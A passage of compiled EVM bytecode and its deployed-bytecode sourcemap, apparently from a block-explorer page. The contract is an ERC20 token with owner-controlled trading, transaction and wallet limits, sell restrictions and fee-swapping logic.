0000000000000000000000000000000000000000000000000000815260040161237690613387565b60405180910390fd5b8091505092915050565b5f838211156123cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c4906133ef565b60405180910390fd5b6123f36123da85846123fc565b6123ee856123e98660646122cb565b612254565b61232c565b90509392505050565b5f61243d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f77565b905092915050565b5f5f8311829061248b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124829190612516565b60405180910390fd5b505f8385612499919061327f565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6124e8826124a6565b6124f281856124b0565b93506125028185602086016124c0565b61250b816124ce565b840191505092915050565b5f6020820190508181035f83015261252e81846124de565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125638261253a565b9050919050565b61257381612559565b811461257d575f5ffd5b50565b5f8135905061258e8161256a565b92915050565b5f819050919050565b6125a681612594565b81146125b0575f5ffd5b50565b5f813590506125c18161259d565b92915050565b5f5f604083850312156125dd576125dc612536565b5b5f6125ea85828601612580565b92505060206125fb858286016125b3565b9150509250929050565b5f8115159050919050565b61261981612605565b82525050565b5f6020820190506126325f830184612610565b92915050565b61264181612594565b82525050565b5f60208201905061265a5f830184612638565b92915050565b5f6020828403121561267557612674612536565b5b5f612682848285016125b3565b91505092915050565b5f5f5f606084860312156126a2576126a1612536565b5b5f6126af86828701612580565b93505060206126c086828701612580565b92505060406126d1868287016125b3565b9150509250925092565b5f60ff82169050919050565b6126f0816126db565b82525050565b5f6020820190506127095f8301846126e7565b92915050565b5f6020828403121561272457612723612536565b5b5f61273184828501612580565b91505092915050565b61274381612559565b82525050565b5f60208201905061275c5f83018461273a565b92915050565b5f5f6040838503121561277857612777612536565b5b5f61278585828601612580565b925050602061279685828601612580565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127d46020836124b0565b91506127df826127a0565b602082019050919050565b5f6020820190508181035f830152612801816127c8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561288a5780860481111561286657612865612808565b5b60018516156128755780820291505b808102905061288385612835565b945061284a565b94509492505050565b5f826128a2576001905061295d565b816128af575f905061295d565b81600181146128c557600281146128cf576128fe565b600191505061295d565b60ff8411156128e1576128e0612808565b5b8360020a9150848211156128f8576128f7612808565b5b5061295d565b5060208310610133831016604e8410600b84101617156129335782820a90508381111561292e5761292d612808565b5b61295d565b6129408484846001612841565b9250905081840481111561295757612956612808565b5b81810290505b9392505050565b5f61296e82612594565b9150612979836126db565b92506129a67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612893565b905092915050565b5f6129b882612594565b91506129c383612594565b92508282026129d181612594565b915082820484148315176129e8576129e7612808565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a236017836124b0565b9150612a2e826129ef565b602082019050919050565b5f6020820190508181035f830152612a5081612a17565b9050919050565b5f81519050612a658161256a565b92915050565b5f60208284031215612a8057612a7f612536565b5b5f612a8d84828501612a57565b91505092915050565b5f604082019050612aa95f83018561273a565b612ab6602083018461273a565b9392505050565b5f604082019050612ad05f83018561273a565b612add6020830184612638565b9392505050565b612aed81612605565b8114612af7575f5ffd5b50565b5f81519050612b0881612ae4565b92915050565b5f60208284031215612b2357612b22612536565b5b5f612b3084828501612afa565b91505092915050565b5f819050919050565b5f819050919050565b5f612b65612b60612b5b84612b39565b612b42565b612594565b9050919050565b612b7581612b4b565b82525050565b5f60c082019050612b8e5f83018961273a565b612b9b6020830188612638565b612ba86040830187612b6c565b612bb56060830186612b6c565b612bc2608083018561273a565b612bcf60a0830184612638565b979650505050505050565b5f81519050612be88161259d565b92915050565b5f5f5f60608486031215612c0557612c04612536565b5b5f612c1286828701612bda565b9350506020612c2386828701612bda565b9250506040612c3486828701612bda565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c986024836124b0565b9150612ca382612c3e565b604082019050919050565b5f6020820190508181035f830152612cc581612c8c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d266022836124b0565b9150612d3182612ccc565b604082019050919050565b5f6020820190508181035f830152612d5381612d1a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612db46025836124b0565b9150612dbf82612d5a565b604082019050919050565b5f6020820190508181035f830152612de181612da8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e426023836124b0565b9150612e4d82612de8565b604082019050919050565b5f6020820190508181035f830152612e6f81612e36565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ed06029836124b0565b9150612edb82612e76565b604082019050919050565b5f6020820190508181035f830152612efd81612ec4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612f386019836124b0565b9150612f4382612f04565b602082019050919050565b5f6020820190508181035f830152612f6581612f2c565b9050919050565b5f612f7682612594565b9150612f8183612594565b9250828201905080821115612f9957612f98612808565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612fd3601a836124b0565b9150612fde82612f9f565b602082019050919050565b5f6020820190508181035f83015261300081612fc7565b9050919050565b5f61301182612594565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361304357613042612808565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6130826017836124b0565b915061308d8261304e565b602082019050919050565b5f6020820190508181035f8301526130af81613076565b9050919050565b5f6130c082612594565b91506130cb83612594565b92508282039050818111156130e3576130e2612808565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61317581612559565b82525050565b5f613186838361316c565b60208301905092915050565b5f602082019050919050565b5f6131a882613143565b6131b2818561314d565b93506131bd8361315d565b805f5b838110156131ed5781516131d4888261317b565b97506131df83613192565b9250506001810190506131c0565b5085935050505092915050565b5f60a08201905061320d5f830188612638565b61321a6020830187612b6c565b818103604083015261322c818661319e565b905061323b606083018561273a565b6132486080830184612638565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61328982612594565b915061329483612594565b9250826132a4576132a3613252565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6133096021836124b0565b9150613314826132af565b604082019050919050565b5f6020820190508181035f830152613336816132fd565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613371601b836124b0565b915061337c8261333d565b602082019050919050565b5f6020820190508181035f83015261339e81613365565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6133d9601e836124b0565b91506133e4826133a5565b602082019050919050565b5f6020820190508181035f830152613406816133cd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af2d93e843a98bb6d87b3771d6926b44ab3702e21b46580ab858cf87e5296b3564736f6c634300081d0033

Deployed Bytecode Sourcemap

3874:8691:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5810:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6643:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4996:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10778:82;;;;;;;;;;;;;:::i;:::-;;6087:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12333:227;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6812:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5996:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11961:364;;;;;;;;;;;;;:::i;:::-;;10612:158;;;;;;;;;;;;;:::i;:::-;;6190:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2863:148;;;;;;;;;;;;;:::i;:::-;;4823:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2649:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4877:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5901:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6317:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4933:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10968:948;;;;;;;;;;;;;:::i;:::-;;6492:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5810:83;5847:13;5880:5;;;;;;;;;;;;;;;;;5873:12;;5810:83;:::o;6643:161::-;6718:4;6735:39;6744:12;:10;:12::i;:::-;6758:7;6767:6;6735:8;:39::i;:::-;6792:4;6785:11;;6643:161;;;;:::o;4996:50::-;;;;:::o;10778:82::-;2786:12;:10;:12::i;:::-;2776:22;;:6;;;;;;;;;;;:22;;;2768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10851:1:::1;10836:12;:16;;;;10778:82::o:0;6087:95::-;6140:7;4618:1;4677:2;:13;;;;:::i;:::-;4661;:29;;;;:::i;:::-;6160:14;;6087:95;:::o;12333:227::-;12414:10;;;;;;;;;;;12400:24;;:12;:10;:12::i;:::-;:24;;;12392:33;;;;;;12439:9;12426:12;:22;;;;12459:26;12488:21;12459:50;;12520:32;12533:18;12520:12;:32::i;:::-;12381:179;12333:227;:::o;6812:313::-;6910:4;6927:36;6937:6;6945:9;6956:6;6927:9;:36::i;:::-;6974:121;6983:6;6991:12;:10;:12::i;:::-;7005:89;7043:6;7005:89;;;;;;;;;;;;;;;;;:11;:19;7017:6;7005:19;;;;;;;;;;;;;;;:33;7025:12;:10;:12::i;:::-;7005:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6974:8;:121::i;:::-;7113:4;7106:11;;6812:313;;;;;:::o;5996:83::-;6037:5;4618:1;6055:16;;5996:83;:::o;11961:364::-;7169:4;7162:6;;:11;;;;;;;;;;;;;;;;;;7179:12;;7174:4;:17;;;;12034:10:::1;;;;;;;;;;;12020:24;;:12;:10;:12::i;:::-;:24;;;12012:33;;;;;;12056:21;12078:24;12096:4;12078:9;:24::i;:::-;12056:46;;12130:1;12116:13;:15;12113:77;;;12147:31;12164:13;12147:16;:31::i;:::-;12113:77;12200:18;12219:21;12200:40;;12265:1;12254:10;:12;12251:67;;;12282:24;12295:10;12282:12;:24::i;:::-;12251:67;12001:324;;7209:1:::0;7204:4;:6;;;;7230:5;7221:6;;:14;;;;;;;;;;;;;;;;;;11961:364::o;10612:158::-;2786:12;:10;:12::i;:::-;2776:22;;:6;;;;;;;;;;;:22;;;2768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4618:1:::1;4677:2;:13;;;;:::i;:::-;4661;:29;;;;:::i;:::-;10664:12;:22;;;;4618:1;4677:2;:13;;;;:::i;:::-;4661;:29;;;;:::i;:::-;10697:14;:22;;;;10735:27;4618:1;4677:2;:13;;;;:::i;:::-;4661;:29;;;;:::i;:::-;10735:27;;;;;;:::i;:::-;;;;;;;;10612:158::o:0;6190:119::-;6256:7;6283:9;:18;6293:7;6283:18;;;;;;;;;;;;;;;;6276:25;;6190:119;;;:::o;2863:148::-;2786:12;:10;:12::i;:::-;2776:22;;:6;;;;;;;;;;;:22;;;2768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2970:1:::1;2933:40;;2954:6;;;;;;;;;;;2933:40;;;;;;;;;;;;3001:1;2984:6;;:19;;;;;;;;;;;;;;;;;;2863:148::o:0;4823:47::-;;;;:::o;2649:79::-;2687:7;2714:6;;;;;;;;;;;2707:13;;2649:79;:::o;4877:49::-;;;;:::o;5901:87::-;5940:13;5973:7;;;;;;;;;;;;;;;;;5966:14;;5901:87;:::o;6317:167::-;6395:4;6412:42;6422:12;:10;:12::i;:::-;6436:9;6447:6;6412:9;:42::i;:::-;6472:4;6465:11;;6317:167;;;;:::o;4933:56::-;;;;:::o;10968:948::-;2786:12;:10;:12::i;:::-;2776:22;;:6;;;;;;;;;;;:22;;;2768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11032:11:::1;;;;;;;;;;;11031:12;11023:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11118:42;11081:15;;:80;;;;;;;;;;;;;;;;;;11279:1;11176:105;;11194:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11176:52;;;11229:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11261:4;11176:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:105;;::::0;11172:388:::1;;11332:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11314:55;;;11370:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11402:4;11314:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11298:13;;:110;;;;;;;;;;;;;;;;;;11172:388;;;11475:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11457:52;;;11510:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11542:4;11457:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11441:13;;:107;;;;;;;;;;;;;;;;;;11172:388;11577:13;;;;;;;;;;;11570:29;;;11608:15;;;;;;;;;;;11626:14;11570:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11652:58;11669:4;11684:15;;;;;;;;;;;4618:1;4677:2;:13;;;;:::i;:::-;4661;:29;;;;:::i;:::-;11652:8;:58::i;:::-;11721:15;;;;;;;;;;;:31;;;11760:21;11791:4;11797:24;11815:4;11797:9;:24::i;:::-;11822:1;11824;11826:7;:5;:7::i;:::-;11834:15;11721:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11875:4;11861:11;;:18;;;;;;;;;;;;;;;;;;11904:4;11890:11;;:18;;;;;;;;;;;;;;;;;;10968:948::o:0;6492:143::-;6573:7;6600:11;:18;6612:5;6600:18;;;;;;;;;;;;;;;:27;6619:7;6600:27;;;;;;;;;;;;;;;;6593:34;;6492:143;;;;:::o;197:98::-;250:7;277:10;270:17;;197:98;:::o;7251:335::-;7361:1;7344:19;;:5;:19;;;7336:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7442:1;7423:21;;:7;:21;;;7415:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7524:6;7494:11;:18;7506:5;7494:18;;;;;;;;;;;;;;;:27;7513:7;7494:27;;;;;;;;;;;;;;;:36;;;;7562:7;7546:32;;7555:5;7546:32;;;7571:6;7546:32;;;;;;:::i;:::-;;;;;;;;7251:335;;;:::o;10868:92::-;10925:10;;;;;;;;;;;:19;;:27;10945:6;10925:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10868:92;:::o;7594:2412::-;7698:1;7682:18;;:4;:18;;;7674:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7775:1;7761:16;;:2;:16;;;7753:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7845:1;7836:6;:10;7828:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7903:17;7921:1;7903:19;;7945:7;:5;:7::i;:::-;7937:15;;:4;:15;;;;:32;;;;;7962:7;:5;:7::i;:::-;7956:13;;:2;:13;;;;7937:32;7933:1707;;;8000:1;7989:9;;:12;7986:140;;8033:77;8106:3;8033:68;8056:15;;8045:9;;:26;;8044:56;;8086:14;;8044:56;;;8073:12;;8044:56;8033:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;8021:89;;7986:140;8153:1;8143:9;;:11;8140:95;;;8186:33;8215:3;8186:24;8197:12;;8186:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;8174:45;;8140:95;8263:13;;;;;;;;;;;8255:21;;:4;:21;;;:55;;;;;8294:15;;;;;;;;;;;8280:30;;:2;:30;;;;8255:55;:83;;;;;8316:18;:22;8335:2;8316:22;;;;;;;;;;;;;;;;;;;;;;;;;8314:24;8255:83;8251:421;;;8378:12;;8368:6;:22;;8360:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8473:14;;8463:6;8447:13;8457:2;8447:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8439:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8549:77;8622:3;8549:68;8572:15;;8561:9;;:26;;8560:56;;8602:14;;8560:56;;;8589:12;;8560:56;8549:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;8537:89;;8645:9;;:11;;;;;;;;;:::i;:::-;;;;;;8251:421;8697:13;;;;;;;;;;;8691:19;;:2;:19;;;:43;;;;;8729:4;8714:20;;:4;:20;;;;8691:43;8688:175;;;8767:80;8843:3;8767:71;8790:16;;8779:9;;:27;;8778:59;;8822:15;;8778:59;;;8808:13;;8778:59;8767:6;:10;;:71;;;;:::i;:::-;:75;;:80;;;;:::i;:::-;8755:92;;8688:175;8879:28;8910:24;8928:4;8910:9;:24::i;:::-;8879:55;;8954:6;;;;;;;;;;;8953:7;:30;;;;;8970:13;;;;;;;;;;;8964:19;;:2;:19;;;8953:30;:45;;;;;8987:11;;;;;;;;;;;8953:45;:89;;;;;9025:17;;9002:20;:40;8953:89;:124;;;;;9059:18;;9046:9;;:31;;8953:124;8949:680;;;9117:13;;9102:12;:28;9098:90;;;9167:1;9155:9;:13;;;;9098:90;9226:1;9214:9;;:13;9206:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;9274:69;9291:51;9295:6;9303:38;9307:20;9329:11;;9303:3;:38::i;:::-;9291:3;:51::i;:::-;9274:16;:69::i;:::-;9362:26;9391:21;9362:50;;9456:1;9435:18;:22;9431:106;;;9482:35;9495:21;9482:12;:35::i;:::-;9431:106;9555:9;;:11;;;;;;;;;:::i;:::-;;;;;;9601:12;9585:13;:28;;;;9079:550;8949:680;7971:1669;7933:1707;9665:1;9655:9;:11;9652:165;;;9707:39;9736:9;9707;:24;9725:4;9707:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9682:9;:24;9700:4;9682:24;;;;;;;;;;;;;;;:64;;;;9789:4;9766:39;;9775:4;9766:39;;;9795:9;9766:39;;;;;;:::i;:::-;;;;;;;;9652:165;9843:33;9863:4;;9869:6;9843:9;:15;9853:4;9843:15;;;;;;;;;;;;;;;;:19;;:33;;;;;:::i;:::-;9827:9;:15;9837:4;9827:15;;;;;;;;;;;;;;;:49;;;;9901:40;9919:21;9930:9;9919:6;:10;;:21;;;;:::i;:::-;9901:9;:13;9911:2;9901:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9887:9;:13;9897:2;9887:13;;;;;;;;;;;;;;;:54;;;;9972:2;9957:41;;9966:4;9957:41;;;9976:21;9987:9;9976:6;:10;;:21;;;;:::i;:::-;9957:41;;;;;;:::i;:::-;;;;;;;;7663:2343;7594:2412;;;:::o;1334:190::-;1420:7;1453:1;1448;:6;;1456:12;1440:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1480:9;1496:1;1492;:5;;;;:::i;:::-;1480:17;;1515:1;1508:8;;;1334:190;;;;;:::o;10124:480::-;7169:4;7162:6;;:11;;;;;;;;;;;;;;;;;;7179:12;;7174:4;:17;;;;10199:21:::1;10237:1;10223:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10199:40;;10268:4;10250;10255:1;10250:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10294:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10284:4;10289:1;10284:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10327:62;10344:4;10359:15;;;;;;;;;;;10377:11;10327:8;:62::i;:::-;10400:15;;;;;;;;;;;:66;;;10481:11;10507:1;10523:4;10550;10570:15;10400:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10188:416;7209:1:::0;7204:4;:6;;;;7230:5;7221:6;;:14;;;;;;;;;;;;;;;;;;10124:480;:::o;1532:246::-;1590:7;1619:1;1614;:6;1610:47;;1644:1;1637:8;;;;1610:47;1667:9;1683:1;1679;:5;;;;:::i;:::-;1667:17;;1712:1;1707;1703;:5;;;;:::i;:::-;:10;1695:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1769:1;1762:8;;;1532:246;;;;;:::o;1993:132::-;2051:7;2078:39;2082:1;2085;2078:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2071:46;;1993:132;;;;:::o;10016:100::-;10073:7;10102:1;10100;:3;10099:9;;10107:1;10099:9;;;10105:1;10099:9;10092:16;;10016:100;;;;:::o;1003:179::-;1061:7;1081:9;1097:1;1093;:5;;;;:::i;:::-;1081:17;;1122:1;1117;:6;;1109:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1173:1;1166:8;;;1003:179;;;;:::o;1786:199::-;1855:7;1888:1;1883;:6;;1875:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;1942:35;1946:9;1950:1;1953;1946:3;:9::i;:::-;1957:19;1961:1;1964:11;1968:1;1971:3;1964;:11::i;:::-;1957:3;:19::i;:::-;1942:3;:35::i;:::-;1935:42;;1786:199;;;;;:::o;1190:136::-;1248:7;1275:43;1279:1;1282;1275:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1268:50;;1190:136;;;;:::o;2133:189::-;2219:7;2251:1;2247;:5;2254:12;2239:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2278:9;2294:1;2290;:5;;;;:::i;:::-;2278:17;;2313:1;2306:8;;;2133:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:329::-;3750:6;3799:2;3787:9;3778:7;3774:23;3770:32;3767:119;;;3805:79;;:::i;:::-;3767:119;3925:1;3950:53;3995:7;3986:6;3975:9;3971:22;3950:53;:::i;:::-;3940:63;;3896:117;3691:329;;;;:::o;4026:619::-;4103:6;4111;4119;4168:2;4156:9;4147:7;4143:23;4139:32;4136:119;;;4174:79;;:::i;:::-;4136:119;4294:1;4319:53;4364:7;4355:6;4344:9;4340:22;4319:53;:::i;:::-;4309:63;;4265:117;4421:2;4447:53;4492:7;4483:6;4472:9;4468:22;4447:53;:::i;:::-;4437:63;;4392:118;4549:2;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4520:118;4026:619;;;;;:::o;4651:86::-;4686:7;4726:4;4719:5;4715:16;4704:27;;4651:86;;;:::o;4743:112::-;4826:22;4842:5;4826:22;:::i;:::-;4821:3;4814:35;4743:112;;:::o;4861:214::-;4950:4;4988:2;4977:9;4973:18;4965:26;;5001:67;5065:1;5054:9;5050:17;5041:6;5001:67;:::i;:::-;4861:214;;;;:::o;5081:329::-;5140:6;5189:2;5177:9;5168:7;5164:23;5160:32;5157:119;;;5195:79;;:::i;:::-;5157:119;5315:1;5340:53;5385:7;5376:6;5365:9;5361:22;5340:53;:::i;:::-;5330:63;;5286:117;5081:329;;;;:::o;5416:118::-;5503:24;5521:5;5503:24;:::i;:::-;5498:3;5491:37;5416:118;;:::o;5540:222::-;5633:4;5671:2;5660:9;5656:18;5648:26;;5684:71;5752:1;5741:9;5737:17;5728:6;5684:71;:::i;:::-;5540:222;;;;:::o;5768:474::-;5836:6;5844;5893:2;5881:9;5872:7;5868:23;5864:32;5861:119;;;5899:79;;:::i;:::-;5861:119;6019:1;6044:53;6089:7;6080:6;6069:9;6065:22;6044:53;:::i;:::-;6034:63;;5990:117;6146:2;6172:53;6217:7;6208:6;6197:9;6193:22;6172:53;:::i;:::-;6162:63;;6117:118;5768:474;;;;;:::o;6248:182::-;6388:34;6384:1;6376:6;6372:14;6365:58;6248:182;:::o;6436:366::-;6578:3;6599:67;6663:2;6658:3;6599:67;:::i;:::-;6592:74;;6675:93;6764:3;6675:93;:::i;:::-;6793:2;6788:3;6784:12;6777:19;;6436:366;;;:::o;6808:419::-;6974:4;7012:2;7001:9;6997:18;6989:26;;7061:9;7055:4;7051:20;7047:1;7036:9;7032:17;7025:47;7089:131;7215:4;7089:131;:::i;:::-;7081:139;;6808:419;;;:::o;7233:180::-;7281:77;7278:1;7271:88;7378:4;7375:1;7368:15;7402:4;7399:1;7392:15;7419:102;7461:8;7508:5;7505:1;7501:13;7480:34;;7419:102;;;:::o;7527:848::-;7588:5;7595:4;7619:6;7610:15;;7643:5;7634:14;;7657: